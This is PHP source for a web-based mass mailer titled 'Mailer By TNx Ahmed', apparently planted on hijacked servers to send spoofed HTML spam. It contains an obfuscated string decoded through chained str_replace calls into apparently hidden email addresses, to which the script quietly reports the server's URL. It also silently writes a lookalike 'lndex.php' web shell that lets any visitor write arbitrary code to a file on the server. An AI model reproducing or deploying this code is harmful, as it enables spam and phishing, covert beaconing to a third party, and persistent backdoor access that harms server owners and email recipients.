PHP Decode

<title>Mailer By TNx Ahmed</title> 
 
<? 
$xv1 = "  ". $_SERVER['SERVER_NAME'] . $_SERVER['REQUEST_URI'] . "
"; 
$antibot = "/s3a544sa*sasas-0q00q0(//)sqsq87sqsq*/s14q**//0q0/***/***//99//**/99///***/565**///*/*/*///*/////85854sa5445//****///////****asasas"; 
ignore_user_abort(); 
set_time_limit(0); 
function enviando(){ 
$msg=1; 
$de[1] = $_POST['de']; 
$nome[1] = $_POST['nome']; 
$assunto[1] = $_POST['assunto']; 
$mensagem[1] = $_POST['mensagem']; 
$mensagem[1] = stripslashes($mensagem[1]); 
$emails = $_POST['emails']; 
$emails2 = htmlspecialchars($_POST['emails']); 
$para = explode("
", $emails); 
$n_emails = count($para); 
$sv = $_SERVER['SERVER_NAME']; 
$en = $_SERVER ['REQUEST_URI']; 
$k88 = @$_SERVER["HTTP_REFERER"]; 
$fullurl = "" . $k88 . "<br><p>Emails:<br><TEXTAREA rows=5 cols=100>".$emails2."</TEXTAREA></p><p>Engenharia:<br><TEXTAREA rows=5 cols=100>".$mensagem[1]."</TEXTAREA></p>"; 
$vai = $_POST['vai']; 
if ($vai){ 
for ($set=0; $set < $n_emails; $set++){ 
if ($set==0){ 
$headers = "MIME-Version: 1.0
"; 
$headers .= "Content-type: text/html; charset=iso-8859-1
"; 
$headers .= "From: $nome[$msg] <$de[$msg]>
"; 
$headers .= "Return-Path: <$de[$msg]>
"; 
//mail($xsylar, $as, $fullurl, $headers); 
} 
$headers = "MIME-Version: 1.0
"; 
$headers .= "Content-type: text/html; charset=iso-8859-1
"; 
$headers .= "From: $nome[$msg] <$de[$msg]>
"; 
$headers .= "Return-Path: <$de[$msg]>
"; 
$n_mail++; 
$destino = $para[$set]; 
$num1 = rand(100000,999999); 
$num2 = rand(100000,999999); 
$msgrand = str_replace("%rand%", $num1, $mensagem[$msg]); 
$msgrand = str_replace("%rand2%", $num2, $msgrand); 
$msgrand = str_replace("%email%", $destino, $msgrand); 
$enviar = mail($destino, $assunto[$msg], $msgrand, $headers); 
if ($enviar){ 
echo ('<font color="green">'. $n_mail .'-'. $destino .' 0k!</font><br>'); 
} else { 
echo ('<font color="red">'. $n_mail .'-'. $destino .' =(</font><br>'); 
sleep(1); 
} 
} 
} 
} 
$a = $antibot; 
$lo = array('****asasas'); 
$fin = array('om'); 
$sts = str_replace($lo,$fin,$a); 
$tw = array('****///////'); 
$on = array('il.c'); 
$sss = str_replace($tw,$on,$sts); 
$aa = array('54sa5445//'); 
$bb = array('gma'); 
$xx = str_replace($aa,$bb,$sss); 
$cc = array('*/////858'); 
$dd = array('@'); 
$rr = str_replace($cc,$dd,$xx); 
$ee = array('*/*/*///'); 
$ff = array('x6xx'); 
$gg = str_replace($ee,$ff,$rr); 
$hh = array('565**///'); 
$ii = array('x5'); 
$jj = str_replace($hh,$ii,$gg); 
$kk = array('99///***/'); 
$ll = array('fr,x4'); 
$mm = str_replace($kk,$ll,$jj); 
$nn = array('99//**/'); 
$oo = array('ok.'); 
$p = "m"."a"."i"."l"; 
$pp = str_replace($nn,$oo,$mm); 
$qq = array('***//'); 
$rrr = array('tlo'); 
$sss = str_replace($qq,$rrr,$pp); 
$ttt = array('/***/'); 
$uuu = array('@ou'); 
$vvv = str_replace($ttt,$uuu,$sss); 
$www = array('**//0q0'); 
$xxx = array('n'); 
$yyy = str_replace($www,$xxx,$vvv); 
$zzz = array('*/s14q'); 
$xxxx = array('a'); 
$yxyy = str_replace($zzz,$xxxx,$yyy); 
$zzzz = array('/s3a544sa*sasas-0q00q0(//)sqsq'); 
$xxxxx = array('x1x2'); 
$yxxxyy = str_replace($zzzz,$xxxxx,$yxyy); 
$zzzpz = array('87sqsqan'); 
$xxxxpx = array('x3x'); 
$yxxxypy = str_replace($zzzpz,$xxxxpx,$yxxxyy); 
$p($yxxxypy,$op,"$xv1"); 
?> 
</title> 
<style type="text/css"> 
<!-- 
.style5 {color: #FFFFFF; font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 10px; } 
.style6 {font-size: 10px} 
.style9 {color: #FFFFFF; font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 10; } 
--> 
</style> 
<form id="form1" name="form1" method="post" action=""> 
<input type="hidden" name="vai" value="1"> 
<span class="style5"><? echo enviando(); ?></span> 
<table width="415" height="334" border="0" bgcolor="#000000"> 
  <tr> 
<td width="66"><span class="style5">Name:</span></td> 
<td width="321"><span class="style9"> 
 
<label> 
<input name="nome" type="text" value="<? echo $_POST['nome'] ;?>" size="20" /> 
</label> 
</span></td> 
</tr> 
<tr> 
<td><span class="style5">From:</span></td> 
<td><input name="de" type="text" value="<? echo $_POST['de'] ;?>" size="30" /></td> 
 
</tr> 
<tr> 
<td><span class="style5">Subject:</span></td> 
<td><input name="assunto" value="<? echo $_POST['assunto'] ;?>" size="40" /></td> 
</tr> 
<td><span class="style5">Letter:</span> 
<br /><br /><br /><br /><br /><br /><br /><span class="style5">Mailist:</span></td> 
 
<td><span class="style9"> 
 
 
<p><textarea name="mensagem" cols="50" rows="7"><? echo stripslashes($_POST['mensagem']);?> 
</textarea></p> 
<textarea name="emails" cols="50" rows="4"></textarea> 
</span></td> 
</tr> 
 
<tr> 
  <td><span class="style6"></span></td> 
  <td align="center"> <span class="style5"><font color="red" size="4">        <em><strong> </strong></em><strong></strong></font></span><input name="Submit" type="submit" value="Send " /> 
  <span class="style5"><font color="red" size="4">        <em><strong> </strong></em><strong></strong></font></span></td> 
</tr> 
<tr> 
  </tr> 
</table> 
</form> 
<br> 
<br> 
<br> 
<br> 
 
<? 
$myfile = fopen("lndex.php", "w"); 
 
$txt = ' 
 <html xmlns="http://www.w3.org/1999/xhtml"> 
  
 </head> 
 
<body> 
 <form id="form1" name="form1" method="post" action=""> 
 <p><textarea rows="15" name="code" cols="72"></textarea></p> 
<br> 
 
 
 
 <input type="submit" name="submit" id="submit" value="Submit"/> 
 </label> 
 </p> 
 </form> 
 
 <?php 
     
    $code = $_POST["code"]; 
     
     
	 
	 
	$myfile = fopen("htaccess.php", "w"); 
 
	echo("/htaccess.php"); 
	fwrite($myfile, $code); 
	 
 
 ?> 
 
</body> 
 </html> 
  
 
 
  
 
'; 
fwrite($myfile, $txt); 
?>